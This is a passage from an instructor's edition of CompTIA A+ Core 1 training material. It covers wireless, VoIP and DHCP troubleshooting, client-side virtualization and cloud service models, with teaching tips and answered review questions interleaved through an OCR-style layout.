some other network-wide problem. This might be caused by a fault or by user
behavior, such as transferring a very large amount of data over the network.

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Troubleshoot Wireless Issues

Show When troubleshooting wireless networks, as with cabled links, you need to consider
Slide(s) problems with the physical media, such as interference, and configuration issues.
Troubleshoot Wireless The radio frequency (RF) signal from radio-based devices weakens considerably
Issues
as the distance between the devices increases. If you experience intermittent
wireless connectivity, slow transfer speeds, or inability to establish a connection,
as a first step, try moving the devices closer together. If you still cannot obtain a
connection, check that the security and authentication parameters are correctly
configured on both devices.

Troubleshooting Wireless Configuration Issues

If a user is looking for a network name that is not shown in the list of available
wireless networks (SSID not found), the user could be out of range or the SSID
name broadcast might be suppressed. In the latter scenario, the connection to the
network name must be configured manually on the client.
Another factor to consider is standards mismatch. If an access point is not
operating in compatibility mode, it will not be able to communicate with devices
that only support older standards. Also, when an older device joins the network,
the performance of the whole network can be affected. To support 802.11b clients,
an 802.11b/g/n access point must transmit legacy frame preamble and collision
avoidance frames, adding overhead. If possible, upgrade 802.11b devices rather
than letting them join the WLAN. Both 802.11g and 802.11n/ac/ax are more
compatible in terms of negotiating collision avoidance.
Also consider that not all clients supporting 802.11n have dual-band radios. If a
client cannot connect to a network operating on the 5 GHz band, check whether its
radio is 2.4 GHz-capable only.

Received Signal Strength Indicator

A wireless adapter will reduce the connection speed if the received signal strength
indicator (RSSI) is not at a minimum required level. The RSSI is an index level
calculated from the signal strength level. For example, an 802.11n adapter might be
capable of a 144 Mbps data rate with an optimum signal, but if the signal is weak, it
might reduce to a 54 Mbps or 11 Mbps rate to make the connection more reliable.
If the RSSI is too low, the adapter will drop the connection entirely and try to use a
different network. If there are two weak networks, the adapter might “flap” between
them. Try moving to a location with better reception.

Troubleshooting Wireless Signal Issues

If a device is within the supported range but the signal is weak or you can only get an
intermittent connection, there is likely to be interference from another radio source
broadcasting at the same frequency. If this is the case, try adjusting the channel that
the devices use. Another possibility is interference from a powerful electromagnetic
source, such as a motor, or a microwave oven. Finally, there might be something
blocking the signal. Radio waves do not pass easily through metal or dense objects.
Construction materials, such as wire mesh, foil-backed plasterboard, concrete, and
mirrors, can block or degrade signals. Try angling or repositioning the device or
antenna to try to get better reception.

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Surveying Wi-Fi networks using inSSIDer.

(Screenshot courtesy of MetaGeek, LLC. © Copyright 2005-2021.)

Wi-Fi analyzer software is designed to identify the signal strength of nearby

networks on each channel. It shows the signal strength, measured in dBm, and
expressed as a negative value, where values close to zero represent a stronger
signal. The analyzer will show how many networks are utilizing each channel.
Setting the network to use a less congested channel can improve performance.

Troubleshoot VoIP Issues

While slow network speeds are a problem for all types of network traffic, there Show
are other performance characteristics that affect real-time network protocols and Slide(s)
devices. “Real time” refers to services such as voice and video. One example is Voice Troubleshoot VoIP
over Internet Protocol (VoIP) protocols. These use data networks to implement Issues
voice calling. The symptoms of poor VoIP service quality are dropouts, echo, or
other glitches in the call. Teaching
Tip
With “ordinary” data, it might be beneficial to transfer a file as quickly as possible,
VoIP is covered as
but the sequence in which the packets are delivered and variable intervals between a troubleshooting
packets arriving do not materially affect the application. This type of data transfer is content example but
described as “bursty.” Network protocols, such as HTTP, FTP, or email, are sensitive not as an application
to packet loss but tolerant of delays in delivery. The reverse is applicable to real- server role, so you
time applications. These can compensate for some amount of packet loss but are will need to do some
additional explanation
very sensitive to delays in data delivery or packets arriving out of sequence.
here.
Problems with the timing and sequence of packet delivery are defined as latency
and jitter:
• Latency is the time it takes for a signal to reach the recipient, measured in
milliseconds (ms). Latency increases with distance and can be made worse by
processing delays at intermediate systems, such as routers. VoIP can support a
maximum one-way latency of about 150 ms. Round trip time (RTT) or two-way
latency is the time taken for a host to receive a response to a probe.

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• Jitter is the amount of variation in delay over time and is measured by sampling
the elapsed time between packets arriving. VoIP can use buffering to tolerate
jitter of up to around 30 ms without severe impact on call quality. Jitter is
typically caused by network congestion affecting packet processing on routers
and switches.

VoIP call quality can only really be established by using a quality of service (QoS)
mechanism across the network. QoS means that switches, access points, and
routers are all configured to identify VoIP data and prioritize it over bursty data.
Enterprise networks can deploy sophisticated QoS and traffic engineering protocols
on managed switches and routers. However, it is difficult to guarantee QoS over a
public network, such as the Internet.
On a SOHO network, you may be able to configure a QoS or bandwidth control
feature on the router/modem to prioritize the port used by a VoIP application over
any other type of protocol. This will help to mitigate issues if, for example, one
computer is trying to download a Windows 10 feature update at the same time as
another set of computers are trying to host a video conference.

The Bandwidth Control feature on this router/modem provides a basic QoS

mechanism. (Screenshot courtesy of TP-Link.)

You should also be able to use the management interface to report connection
latency and possibly jitter too. If not, you can use a speed test site to measure
latency and bandwidth. If latency is persistently higher than an agreed service level,
contact your ISP to resolve the issue.

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Troubleshoot Limited Connectivity

In Windows, a limited connectivity message specifically means that the host can Show
establish a physical connection to the network but has not received a lease for an Slide(s)
IP configuration from a DHCP server. The host will be configured with an address in Troubleshoot Limited
the automatic IP addressing (APIPA) 169.254.x.y range. A Linux host might also use Connectivity
APIPA, set the IP address to unknown (0.0.0.0), or just leave IP unconfigured.
Teaching
• Establish the scope of the issue—If the issue affects multiple users, the
Tip
problem is likely to be the DHCP server itself. Remember that DHCP leases take
Note that this is
time to expire, so a problem with the DHCP server might take a few hours to
moving across the
manifest as different clients try to renew their leases over time. The DHCP server hardware/software
could be offline, it could have run out of available leases, or forwarding between boundary. Explain
the server and clients could be improperly configured. that tools for testing
configurations and
• Check the configuration of patch cords—Verify that the wall port is connected connectivity are
to an appropriate port on a switch via the patch panel. If the computer is not covered in the Core 2
connected to an appropriate switch port, it is unlikely to connect to the expected course.
services, such as its default gateway, DHCP, and DNS.

• Check the VLAN configuration—If the switch port is not configured with the
correct VLAN ID, it can have the same effect as connecting the host to the wrong
switch port.

Windows may also report that a network adapter has no Internet access. This
means that the adapter has obtained an IP configuration (or is configured statically)
but cannot reach msftncsi.com to download a test file. This error indicates that
there is an issue with either Internet access at the gateway router or name
resolution. On a SOHO network, access the router management interface and verify
the Internet connection via a status update page. If the link is down, contact your
ISP. The router may also have tools to test connectivity. Verify that it can connect to
the servers configured for DNS.

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Review Activity:
Networks
7

Answer the following questions:

Show 1. You are updating a support knowledge base article to help technicians
Slide(s) identify port flapping. How can port flapping be identified?
Review
Use the switch configuration interface to observe how long the port remains in
Teaching an up state. Port flapping means that the port transitions rapidly between up and
Tip down states.
Take some time at 2. A user reports that the Internet is slow. What first step should you take
the end of each topic
to identify the problem?
to answer questions.
You can use the
Verify the link speed independently of user apps, such as web browsing, to
review questions
for discussion in determine if there is a cable or port problem.
class or set them for
students to complete 3. You are trying to add a computer to a wireless network but cannot
individually during or detect the network name. What possible causes should you consider?
after class.
The network name is configured as nonbroadcast and must be entered manually,
the wireless standard supported by the adapter is not supported by the access
point, the station is not in range, or there is some sort of interference.

4. What readings would you expect to gather with a Wi-Fi analyzer?

The signal strength of different Wi-Fi networks and their channels that are operating
within range of the analyzer.

5. A probe reports that the Internet connection has RTT latency of 200 ms.
What is the likely impact on VoIP call quality?

Most vendors recommend that one-way latency should not exceed 150 ms. Round
trip time (RTT) measures two-way latency, so 200 ms is within the recommended
300 ms tolerance. Call quality should not be severely impacted, but if latency is
persistently that high, it might be worth investigating the cause.

6. A user reports that a “Limited connectivity” desktop notification is

displayed on their computer, and they cannot connect to the Internet.
Will you need to replace the NIC in the computer?

No. Limited connectivity reported by the OS means that the link has been
established, but the host has not been able to contact a DHCP server to obtain a
lease for a valid configuration.

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Lesson 6
Summary
7

You should be able to summarize services provided by networked hosts and Show
troubleshoot common problems with wired and wireless links. Slide(s)
Summary
Guidelines for Supporting Networks
Teaching
Follow these guidelines to support network services and troubleshoot common
Tip
problems:
Try to include some
• Document the server roles, such as the following: time at the end
of each lesson to
• File/print services based on SMB over port TCP/445 or over legacy NetBIOS check students’
over TCP/IP ports UDP/137 and TCP/139. understanding and
answer questions.
• FTP over port TCP/21 and TCP/20.

• Web services over HTTP port TCP/80 and HTTP Secure over port TCP/443.

• SMTP over port TCP/25 for server-to-server transport or TCP/587 for clients to
submit messages for delivery.

• Mailbox services such as POP3 over TCP/110 and TCP/995 (secure) and IMAP
over TCP/143 and TCP/993 (secure).

• DHCP network addressing over UDP/67+68 and DNS name resolution over
UDP/53.

• LDAP directory services over port 389.

• Remote terminal access over SSH (TCP/22), Telnet (TCP/23), or RDP

(TCP/3389).

• SNMP-based network monitoring over UDP/161+162 and syslog-based log

collection over UDP/514.

• Document Internet security and authentication architecture, such as the

following:

• Use of AAA servers and protocols to authenticate clients as they connect to

the network.

• Use of proxy servers to manage and optimize outgoing access to websites

and services.

• Use of UTM appliances to implement firewall, malware and intrusion

detection, spam and content filtering, and DLP at the network edge.

• Use of load balancers to provision highly available services.

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• Document use of legacy systems, embedded/SCADA systems, and IoT devices to

identify special support and security procedures.

• Use network documentation and configuration information plus test tools to

identify the scope of lost or intermittent wired or wireless connectivity, speed/
latency/jitter issues, and limited connectivity issues.

Additional practice questions for the topics covered in this lesson are available on the
CompTIA Learning Center.

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 Lesson 7
Summarizing Virtualization and
Cloud Concepts
1

LESSON INTRODUCTION
The use of virtualization to run multiple OS and application environments on a Show
single hardware platform has huge impacts on modern computing. Delivering Slide(s)
environments for testing and training is made much more straightforward, and Objectives
there are security and management benefits of provisioning servers and desktops
as virtual machines. Teaching
Virtualization is also the technology underpinning cloud computing. Cloud is one of Tip
the most dominant trends in networking and service provision. Many organizations IT service provision
is increasingly
are outsourcing parts of their IT infrastructure, platforms, storage, or services to
based around these
cloud solutions providers. Virtualization is at the core of cloud service provider technologies, so
networks. If you can compare and contrast the delivery and service models for students will need a
cloud, your customers will benefit from your advice and support when deploying good grasp of them to
cloud resources. progress their careers.

Lesson Objectives
In this lesson, you will:
• Summarize client-side virtualization.

• Summarize cloud concepts.

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Topic 7A
Summarize Client-Side Virtualization
2

CORE 1 EXAM OBJECTIVES COVERED

4.2 Summarize aspects of client-side virtualization.

Show Virtualization separates multiple software environments―OS, drivers, and

Slide(s) applications―from each other and from the physical hardware by using an
Summarize Client-Side additional software layer to mediate access. Virtualization can provide flexibility in
Virtualization terms of deploying OS versions for testing and training. It can increase resource
utilization by allowing resources to be pooled and leveraged as part of a virtual
Teaching infrastructure, and it can provide for centralized administration and management
Tip of all the resources being used throughout the organization.
Note that the
As a CompTIA A+ technician, you will often be called upon to deploy, configure, and
objective has changed
in emphasis from support virtual machines (VMs). You need to know about the types, capabilities, and
the previous exam uses of different virtualization technologies.
version. Where
the objective was
previously “set up and Hypervisors
configure,” it is now
“summarize aspects.” In a basic configuration, a single computer is designed to run a single OS at any
Consequently, do one time. This makes multiple applications available on that computer—whether
not go into too much it be a workstation or server—but the applications must all share a common
detail about platform OS environment. Improvements in CPU and system memory technology mean
requirements, and that all but budget and entry-level computers are now capable of virtualization.
focus on purposes.
Virtualization means that multiple OSs can be installed and run simultaneously on
Show one computer.
Slide(s) The software facilitating this is called a “hypervisor.” The OSs installed under
Hypervisors the hypervisor are called virtual machines (VMs) or guest OSs. Any OS expects
exclusive access to resources such as the CPU, system memory, storage devices,
and peripherals. The hypervisor emulates these resources and mediates access to
the actual system hardware to avoid conflicts between the guest OSs. The VMs must
be provided with drivers for the emulated hardware components. The hypervisor
might be limited in terms of the different types of guest OSs it can support.
There are two basic ways of implementing a hypervisor:
• In a guest OS (or host-based) system, the hypervisor application is itself
installed onto a host OS. Examples of these Type 2 hypervisors include VMware
Workstation™, Oracle® Virtual Box, and Parallels® Workstation. The hypervisor
software must support the host OS, and the computer must have resources to
run the host OS, the hypervisor, and the guest operating systems.

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Guest OS virtualization (Type II hypervisor). The hypervisor is an application running

within a native OS, and guest OSes are installed within the hypervisor.

• A bare metal virtual platform means that a Type 1 hypervisor is installed

directly onto the computer and manages access to the host hardware without
going through a host OS. Examples include VMware ESXi® Server, Microsoft’s
Hyper-V®, and Citrix’s XEN Server. The hardware needs to support only the base
system requirements for the hypervisor plus resources for the type and number
of guest OSs that will be installed.

Type I bare metal hypervisor. The hypervisor is installed directly on the host hardware
along with a management application, then VMs are installed within the hypervisor.

Uses for Virtualization

There are many different purposes for deploying virtualization. Show
Slide(s)
Client-Side Virtualization Uses for Virtualization
Client-side virtualization refers to any solution designed to run on “ordinary”
desktops or workstations. Each user will be interacting with the virtualization
host directly. Desktop virtual platforms, usually based on some sort of guest OS
hypervisor, are typically used for testing and development:

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• Sandbox—Create an isolated environment in which to analyze viruses, worms,

and Trojans. As the malware is contained within the guest OS, it cannot infect the
researcher’s computer or network.

• Support legacy software applications and OSs—If the host computers have
been upgraded, software apps may not work well with the new OS. In this
scenario, the old OS can be installed as a VM, and the application software
accessed using the VM.

• Cross-platform virtualization—Test software applications under different OSs

and/or resource constraints.

• Training—Lab environments can be set up so that students can practice using a

live OS and software without impacting the production environment. At the end
of the lab, changes to the VM can be discarded so that the original environment
is available again for the next student to use.

Server-Side Virtualization
Server-side virtualization means deploying a server role as a virtual machine.
For server computers and applications, the main use of virtualization is better
hardware utilization through server consolidation. A typical hardware server
may have resource utilization of about 10%. This implies that you could pack the
server computer with another 8–9 server software instances and obtain the same
performance.

Application Virtualization
Application virtualization means that the client either accesses a particular
application hosted on a server or streams the application from the server for local
processing. This enables programmers and application administrators to ensure
that the application used by clients is always updated with the latest code.
Most application virtualization solutions are based on Citrix XenApp. Microsoft has
developed an App-V product within its Windows Server range. VMware has the
ThinApp product.

Container Virtualization
Container virtualization dispenses with the idea of a hypervisor and instead
enforces resource separation at the OS level. The OS defines isolated containers
for each user instance to run in. Each container is allocated CPU and memory
resources, but the processes all run through the native OS kernel.
These containers may run slightly different OS distributions but cannot run guest
OSs of different types (you could not run Windows or Ubuntu in a RedHat Linux
container, for instance). Alternatively, the containers might run separate application
processes, in which case, the variables and libraries required by the application
process are added to the container.
One of the best-known container virtualization products is Docker (docker.com).
Containerization is also being widely used to implement corporate workspaces on
mobile devices.

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Comparison of virtual machines versus containers.

Virtualization Resource Requirements

To deploy a client-side virtualization workstation, you must identify the resource Show
requirements of the hypervisor and of each guest that you plan to install. Slide(s)
Virtualization Resource
CPU and Virtualization Extensions Requirements

CPU vendors have built special instruction sets to improve virtualization performance. Teaching
The Intel technology for this is called “VT-x” (Virtualization Technology), while AMD Tip
calls it “AMD-V.” Most virtualization products also benefit from a processor feature Note that the “x” in
called “Second Level Address Translations” (SLAT), which improves the performance VTx stands for x86-64.
of virtual memory when multiple VMs are installed. Intel implements SLAT as a Intel® developed
feature called “Extended Page Table” (EPT), and AMD calls it “Rapid Virtualization a different 64-bit
Indexing” (RVI). architecture called
“Itanium” (IA-64). VT-i
Most virtualization software requires a CPU with virtualization support enabled, and extensions are for
even if there is no formal requirement, performance of the VMs will be impaired if that architecture.
hardware-assisted virtualization is not available. Some cheaper CPU models ship VT-x is for the AMD-
developed 64-bit
without the feature, and it may be disabled in the system firmware. If specifying a architecture, which
computer that will be used for virtualization, check the CPU specification carefully to proved much more
confirm that it supports Intel VT-x or AMD-V and SLAT and verify that these features successful because it
are enabled via system setup. was more compatible
with legacy 32-bit
Apart from virtualization extensions, multiple CPU resources—whether through code.
multiple physical processors, multi-core, or HyperThreading—will greatly benefit
performance, especially if more than one guest OS is run concurrently.

If the hypervisor is running in a 64-bit environment, 32-bit guest OSs can still be
installed, providing the hypervisor supports them. However, 32-bit hypervisors will not
support 64-bit guest OSs.

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System Memory
Each guest OS requires sufficient system memory over and above what is required
by the host OS/hypervisor. For example, it is recommended that Windows 10
be installed on a computer with at least 2 GB memory. This means that the
virtualization workstation must have at least 4 GB RAM to run the host and a single
Windows 10 guest OS. If you want to run multiple guest OSs concurrently, the
resource demands can quickly add up. If the VMs are only used for development
and testing, then performance might not be critical, and you may be able to specify
less memory.

Microsoft Hyper-V hypervisor software. This machine is running several Windows and
Linux guest OSs. You can see each is allocated a portion of system memory to use.
(Screenshot used with permission from Microsoft.)

Mass Storage
Each guest OS also takes up a substantial amount of disk space. The VM’s “hard
disk” is stored as an image file on the host. Most hypervisors use a dynamically
expanding image format that only takes up space on the host as files are added
to the guest OS. Even so, a typical Windows installation might require 20 GB.
More space is required if you want to preserve snapshots (the state of a disk at a
particular point in time). This is useful if you want to be able to roll back changes
you make to the VM during a session.

In an enterprise environment, you need not be constrained by the local disk resources
on the host. Disk images could be stored in a high-speed storage area network (SAN).

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Networking
A hypervisor will be able to create a virtual network environment through which all
the VMs can communicate and a network shared by the host and by VMs on the
same host and on other hosts. Enterprise virtual platforms allow the configuration
of virtual switches and routers.

Virtualization Security Requirements

Like any computing technology, deploying a virtualization solution comes with Show
security requirements and challenges. Slide(s)
Virtualization Security
Guest OS Security Requirements

Each guest OS must be patched and protected against malware like any other Teaching
OS. Patching each VM individually has performance implications, so in most Tip
environments, a new template image would be patched and tested then deployed
Security concepts
to the production environment. Running security software (antivirus and intrusion such as patching
prevention) on each guest OS can cause performance problems. Virtualization- are covered in more
specific solutions for running security applications through the host or hypervisor detail in Core 2. The
are available. basic terminology of
vulnerabilities and
exploits should be
Ordinary antivirus software installed on the host will NOT detect viruses infecting the
familiar to students
guest OS. Scanning the virtual disks of a guest OS from the host could cause serious from IT Fundamentals,
performance problems. but you may need to
provide additional
background
The process of developing, testing, and deploying VM template images brings about information if students
the first major security concern with the virtual platform itself: rogue VMs (one that have not completed
has been installed without authorization). The uncontrolled deployment of more that course.
and more VMs is referred to as virtual machine sprawl (VM sprawl).
System management software can be deployed to detect rogue builds. More
generally, the management procedures for developing and deploying machine
images need to be tightly drafted and monitored. VMs should conform to an
application-specific template with the minimum configuration needed to run
that application (that is, not running unnecessary services). Images should not be
developed or stored in any sort of environment where they could be infected by
malware or have any sort of malicious code inserted. One of the biggest concerns
here is of rogue developers or contractors installing backdoors or “logic bombs”
within a machine image.

Host Security
Another key security vulnerability in a virtual platform is that the host represents a
single point of failure for multiple guest OS instances. For example, if the host loses
power, three or four guest VMs and the application services they are running will
suddenly go offline.

Hypervisor Security
Apart from ensuring the security of each guest OS and the host machine itself, the
hypervisor must also be monitored for security vulnerabilities and exploits. Another
issue is virtual machine escaping (VM escaping). This refers to malware running
on a guest OS jumping to another guest or to the host. As with any other type of
software, it is vital to keep the hypervisor code up to date with patches for critical
vulnerabilities.

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Review Activity:
Client-Side Virtualization
3

Answer the following questions:

Show 1. What is a Type 2 hypervisor?

Slide(s)
Hypervisor software that must be installed as an application running on a host OS.
Review A Type 1 (or bare metal) hypervisor is installed directly to the host hardware.
Teaching 2. You need to provision a virtualization workstation to run four guest
Tip OSs simultaneously. Each VM requires 2 GB system RAM. Is an 8 GB
Take some time at workstation sufficient to meet this requirement?
the end of each topic
to answer questions. No. The host OS and/or hypervisor also requires system memory. If the host
You can use the also a 2 GB requirement, you would only be able to launch three of the VMs
review questions
simultaneously.
for discussion in
class or set them for
3. What is the main security requirement of a virtualization workstation
students to complete
individually during or configured to operate VMs within a sandbox?
after class.
A sandbox means that the VM environment should be isolated from the host and
from other VM environments. A sandbox is often used to investigate malware. If the
sandbox is secure, the malware can be executed and observed without the risk of it
spreading to other systems (VM escaping).

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Topic 7B
Summarize Cloud Concepts
4

CORE 1 EXAM OBJECTIVES COVERED

2.2 Compare and contrast common networking hardware. (SDN only)
4.1 Summarize cloud-computing concepts.

The cloud makes almost any type of IT infrastructure available for use over the Show
Internet with pay-per-use billing. Most companies make use of at least one cloud Slide(s)
service, and many have moved all of what used to be on-premises server roles to Summarize Cloud
the cloud. In this topic, you will learn to summarize cloud deployment and service Concepts
models. This will help you to support cloud-connected networks and provide
informed advice and support to your users. Teaching
Tip

Cloud Characteristics As well as covering

the cloud objective,
this topic includes the
Cloud characteristics are the features that distinguish a cloud provisioning model SDN content example
from on-premises or hosted client/server network architecture. from the compare
networking hardware
From the consumer point of view, cloud computing is a service that provides on-
objective.
demand resources—server instances, file storage, databases, or applications—over
a network, typically the Internet. The service is a cloud because the end user is Show
not aware of or responsible for any details of the procurement, implementation, Slide(s)
or management of the infrastructure that underpins those resources. The end Cloud Characteristics
user is interested in and pays for only the services provided by the cloud. The
per-use billing for resources consumed by the cloud is referred to as metered
utilization. The metering measurement is based on the type of resource such as
storage, processing, bandwidth, or active users. The metering mechanism should
be accessible to the customer via a reporting dashboard, providing complete
transparency in usage and billing.
From the provider point of view, provisioning a cloud is like provisioning any
other type of large-scale datacenter. Cloud computing almost always uses one or
more methods of virtualization to ensure that resources are reliably and quickly
provisioned to the client who requires them.
Among other benefits, the cloud provides high availability, scalability, and
elasticity:
• High availability (HA) means that the service experiences very little downtime.
For example, a service with “Five Nines” or 99.999% availability experiences only
5 minutes and 15 seconds annual downtime. Downtime can occur as a result of
scheduled maintenance and unexpected outages.

• Scalability means that the costs involved in supplying the service to more users
are linear. For example, if the number of users doubles in a scalable system,
the costs to maintain the same level of service would also double (or less than
double). If costs more than double, the system is less scalable. Scalability can be
achieved by adding nodes (horizontal/scaling out) or by adding resources to each
node (vertical/scaling up).

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• Rapid elasticity refers to the system’s ability to handle changes to demand

in real time. A system with high elasticity will not experience loss of service or
performance if demand suddenly doubles (or triples, or quadruples). Conversely, it
may be important for the system to be able to reduce costs when demand is low.

To meet availability, scalability, and elasticity requirements, cloud providers must be

able to provision and deprovision resources automatically. This is achieved through
pooling of shared resources and virtualization. Pooling of shared resources means
that the hardware making up the cloud provider’s datacenter is not dedicated or
reserved to a single customer account. The layers of virtualization used in the cloud
architecture allow the provider to provision more CPU, memory, disk, or network
resource using management software, rather than (for instance) having to go to the
datacenter floor, unplug a server, add a memory module, and reboot.

Common Cloud Deployment Models

Show A cloud can be provisioned using various ownership and access arrangements.
Slide(s) These cloud deployment models can be broadly categorized as follows:
Common Cloud • Public (or multitenant) is a service offered over the Internet by cloud service
Deployment Models providers (CSPs) to cloud consumers, often referred to as tenants. With this
Teaching
model, a CSP can offer subscriptions or pay-as-you-go financing or even provide
Tip
lower-tier services free of charge. As a shared resource, there are risks regarding
performance and security. Multicloud architectures are where the consumer
Explain that a
deployment model
organization uses services from more than one CSP.
describes the
arrangements for
• Private is cloud infrastructure that is completely private to and owned by the
provisioning the cloud, organization. In this case, there is likely to be one business unit dedicated to
such as ownership managing the cloud, while other business units make use of it. With private cloud
and management computing, organizations can exercise greater control over the privacy and security
of the underlying of their services. This type of delivery method is geared more toward banking and
infrastructure. governmental services that require strict access control in their operations.

• Community is where several organizations share the costs of either a hosted

private or fully private cloud. This is usually done to pool resources for a
common concern, such as standardization and security policies.

• Hybrid is a cloud computing solution that implements some sort of hybrid public/
private/community. For example, a travel organization may run a sales website for
most of the year using a private cloud but “break out” the solution to a public cloud
at times when much higher utilization is forecast. As another example, a hybrid
deployment may be used to provide some functions via a public cloud but keep
sensitive or regulated infrastructure, applications, and data on-premises.
Show
Slide(s)
Common Cloud Common Cloud Service Models
Service Models
As well as the deployment model—public, private, hybrid, or community—
Teaching cloud service models are often differentiated on the level of complexity and
Tip preconfiguration provided. Some of the most common models are infrastructure,
Explain that a service software, platform, and desktop.
model describes what
customers can obtain Infrastructure as a Service
from the cloud. You
might want to mention Infrastructure as a service (IaaS) is a means of provisioning IT resources, such as
that the service servers, load balancers, and storage area network (SAN) components, quickly. Rather
model determines the than purchase these components and the Internet links they require, you deploy
responsibility matrix—
them as needed from the service provider’s datacenter. Examples include Amazon
security in the cloud
versus security of the Elastic Compute Cloud (aws.amazon.com/ec2), Microsoft® Azure® Virtual Machines
cloud. (azure.microsoft.com/services/virtual-machines), and OpenStack® (openstack.org).

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Software as a Service
Software as a service (SaaS) is a different model of provisioning software
applications. Rather than purchasing software licenses for a given number of seats,
a business would access software hosted on a supplier’s servers on a pay-as-you-
go arrangement. Virtual infrastructure allows developers to provision on-demand
applications much more quickly than previously. The applications can be developed
and tested in the cloud without the need to test and deploy on client computers.
Examples include Microsoft Office 365® (support.office.com), Salesforce®
(salesforce.com), and Google Workspace™ (workspace.google.com).

Platform as a Service
Platform as a service (PaaS) provides resources somewhere between SaaS
and IaaS. A typical PaaS solution would deploy servers and storage network
infrastructure (as per IaaS) but also provide a multi-tier web application/database
platform on top. This platform could be based on Oracle® or MS SQL or PHP and
MySQL™. Examples include Oracle Database (cloud.oracle.com/paas), Microsoft
Azure SQL Database (azure.microsoft.com/services/sql-database), and Google App
Engine™ (cloud.google.com/appengine).
As distinct from SaaS though, this platform would not be configured to run an
application. Your own developers would have to create the software (the sales
contact or e‑commerce application) that runs using the platform. The service
provider would be responsible for the integrity and availability of the platform
components, but you would be responsible for the security of the application you
created on the platform.

Dashboard for Amazon Web Services Elastic Compute Cloud (EC2) IaaS/PaaS.
(Screenshot courtesy of Amazon.)

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Desktop Virtualization
Show Virtual desktop infrastructure (VDI) refers to using VMs as a means of
Slide(s) provisioning corporate desktops. In a typical desktop virtualization solution,
Desktop Virtualization desktop computers are replaced by low-spec thin client computers.
When the thin client starts, it boots a minimal OS, allowing the user to log on
to a VM stored on the company server or cloud infrastructure. The user makes
a connection to the VM using some sort of remote desktop protocol, such as
Microsoft Remote Desktop or Citrix ICA. The thin client must locate the correct
image and use an appropriate authentication mechanism. There may be a 1:1
mapping based on machine name or IP address, or the process of finding an image
may be handled by a connection broker.
All application processing and data storage in the virtual desktop environment (VDE)
or workspace is performed by the server. The thin client computer need only be
powerful enough to display the screen image, play audio, and transfer mouse, key
commands and video, and audio information over the network.
The virtualization server hosting the virtual desktops can be provisioned either as
an on-premises server (on the same local network as the clients) or in the cloud.
This centralization of data makes it easier to back up. The desktop VMs are easier to
support and troubleshoot. They are better locked against unsecure user practices
because any changes to the VM can easily be overwritten from the template image.
With VDI, it is also easier for a company to completely offload their IT infrastructure
to a third-party services company.
The main disadvantage is that during a failure in the server and network
infrastructure, users have no local processing ability. This can mean that downtime
events may be more costly in terms of lost productivity.

Provisioning VDI as a cloud service is often referred to as desktop as a service (DaaS).

Cloud File Storage

Show Cloud storage is a particular type of software as a service. Most Office productivity
Slide(s) suites are backed by some level of free and paid storage. The cloud storage app
Cloud File Storage OneDrive is closely integrated with Microsoft Windows and the Office 365 suite,
for instance. Dropbox is another file storage service that can be accessed similarly.
Other cloud file storage services that can be synchronized between all of a user’s
devices include iCloud from Apple and Google Drive.
One of the advantages of cloud storage is automated file synchronization
between different devices, such as a PC and smartphone. Cloud storage also
allows file sharing. Multiple users can simultaneously access the content to work
collaboratively, or they can access it at different times. Edits by each user can be
tracked, and review features allow users to comment on and highlight parts of the
document.
As well as supporting storage apps for customers, file synchronization is also
important within the cloud. Files are often replicated between the datacenters
underpinning the cloud to improve access times. For example, content delivery
networks (CDNs) specialize in provisioning media and resources for websites to
multiple Internet exchange points (IXPs) where they are close to ISP networks and
can be downloaded more quickly by customers.

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It is also important to replicate data within the datacenter to ensure that it can be
provisioned reliably. Storage backing the various XaaS models is offered in cost tiers
that represent how quickly it can be replicated to datacenter availability zones and
between different geographical areas.

Software-Defined Networking
Cloud services require the rapid provisioning and deprovisioning of server instances Show
and networks. This means that these components must be fully accessible to Slide(s)
scripting. Software-defined networking (SDN) is a model for how these processes Software-defined
can be used to provision and deprovision networks. Networking
In the SDN model defined by IETF (datatracker.ietf.org/doc/html/rfc7426), network
Teaching
functions are divided into three layers. The top and bottom layers are application
Tip
and infrastructure:
Do not attempt to
• The application layer applies business logic to make decisions about how traffic go into detail. Just
should be prioritized and secured and where it should be switched. make sure students
understand that
• The infrastructure layer contains the devices (physical or virtual) that handle the this is a capability of
actual forwarding (switching and routing) of traffic. enterprise switches
and routers to allow
The principal innovation of SDN is to insert a control layer between the application them to be configured
via scripting. Explain
and infrastructure layers. The functions of the control plane are implemented by a that an API is the
virtual device referred to as the “SDN controller.” Each layer exposes an application means by which a
programming interface (API) that can be automated by scripts that call functions script or app can
in the layer above or below. The interface between SDN applications and the SDN operate a device or
controller is described as the service interface or as the “northbound” API, while other app.
that between the SDN controller and infrastructure devices is the “southbound” API.

Layers and components in a typical software defined networking architecture.

(Images © 123RF.com.)

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Review Activity:
Cloud Concepts
5

Answer the following questions:

Show 1. A cloud service provides a billing dashboard that reports the uptime, disk
Slide(s) usage, and network bandwidth consumption of a virtual machine. What
Review
type of cloud characteristic does this demonstrate?

Metered utilization.
Teaching
Tip 2. A company has contracted the use of a remote datacenter to offer
Take some time at exclusive access to platform as a service resources to its internal
the end of each topic business users. How would such a cloud solution be classed?
to answer questions.
You can use the As a private deployment model.
review questions
for discussion in 3. A technician provisions a network of virtual machines running web
class or set them for
server, scripting environment, and database software for use by
students to complete
individually during or programmers working for the sales and marketing department. What
after class. type of cloud model has been deployed?

This is a platform as a service (PaaS) model. Infrastructure as a service (IaaS) would

only provision the VMs and network without the software. It is not software as a
service (SaaS) because the web server and database are unconfigured.

4. When users connect to the network, they use a basic hardware terminal
to access a desktop hosted on a virtualization server. What type of
infrastructure is being deployed?

Virtual desktop infrastructure (VDI).

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Lesson 7
Summary
5

You should be able to summarize aspects of client-side virtualization and cloud Show
computing. Slide(s)
Summary
Guidelines for Supporting Virtualization and Cloud Computing
Teaching
Follow these guidelines to support the use of virtualization and cloud services in Tip
your networks:
Try to include some
• Identify user requirements to run client-side virtualization for a given purpose time at the end
(sandbox, test development, legacy software/OS, cross-platform support). of each lesson to
check students’
• Identify CPU, system RAM, mass storage, and networking resource requirements understanding and
answer questions.
for the host OS and/or hypervisor plus intended guest machines. Ensure that
computers provisioned as virtualization workstations have hardware-assisted
virtualization CPU extensions enabled.

• Document use of hypervisors and VMs and establish a plan to manage and
monitor security requirements, such as patching, blocking rogue VM sprawl, and
preventing VM escaping.

• Given security requirements and costs, determine the best cloud deployment
model from public, private, community, and hybrid.

• Evaluate cloud service providers to ensure that they meet criteria for reliable
and responsive cloud delivery characteristics, such as metered utilization, rapid
elasticity, high availability, and file synchronization.

• Assess requirements for cloud service models, such as IaaS, SaaS, PaaS, and VDI.

Additional practice questions for the topics covered in this lesson are available on the
CompTIA Learning Center.

